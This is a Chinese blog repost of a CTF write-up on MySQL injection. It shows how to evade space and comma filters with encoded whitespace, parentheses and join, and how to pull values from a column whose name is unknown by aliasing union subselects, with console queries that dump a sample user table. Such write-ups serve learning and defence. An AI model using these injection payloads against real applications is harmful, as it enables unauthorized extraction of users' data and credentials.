Mysql如何绕过未知字段名详解


本文摘自PHP中文网,作者小云云,侵删。

本文主要给大家介绍了Mysql如何巧妙的绕过未知字段名的相关资料,文中给出了详细的示例代码供大家参考学习,对学习mysql具有一定的参考学习价值,需要的朋友们下面来一起看看吧,希望能帮助到大家。

前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| a | b | c | d |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

  

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

  

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;

+---+-------+----------+-------------+

| 1 | 2  | 3  | 4   |

+---+-------+----------+-------------+

| 1 | 2  | 3  | 4   |

| 1 | admin | admin888 | 110@110.com |

| 2 | test | test123 | 119@119.com |

| 3 | cs | cs123 | 120@120.com |

+---+-------+----------+-------------+

4 rows in set (0.01 sec)

  

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;

+-------------+

| 4   |

+-------------+

| 4   |

| 110@110.com |

| 119@119.com |

| 120@120.com |

+-------------+

4 rows in set (0.03 sec)

  

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

  

+-------------+

| 4   |

+-------------+

| 120@120.com |

+-------------+

1 row in set (0.01 sec)

  

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d

union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

+-------------+----------+----------+-------------+

| id   | username | password | email  |

+-------------+----------+----------+-------------+

| 1   | admin | admin888 | 110@110.com |

| 120@120.com | 1  | 1  | 1   |

+-------------+----------+----------+-------------+

2 rows in set (0.04 sec)

相关推荐:

MySQL开启慢查询日志的方法详解

十个Mysql中基本语句优化的原则

Linux服务器中MySQL远程连接方法详解

以上就是Mysql如何绕过未知字段名详解的详细内容,更多文章请关注木庄网络博客!!

相关阅读 >>

mysql用户密码如何重新设置?

怎么查看自己的mysql密码

闲谈 mysql内存管理,内存分配器和操作系统

mysql数据库update语句使用详解

详解mysql实时同步到oracle解决方案

mysql中b树索引和b+树索引的区别详解

mysql如何使用aes_encrypt()与aes_decrypt()进行加解密的示例

详解mysql8.0​ 字典表增强

一分钟带你了解mysql ddl

mysql 客户端不输入用户名和密码直接连接数据库的2个方法

更多相关阅读请进入《mysql》频道 >>


数据库系统概念 第6版
书籍

数据库系统概念 第6版

机械工业出版社

本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...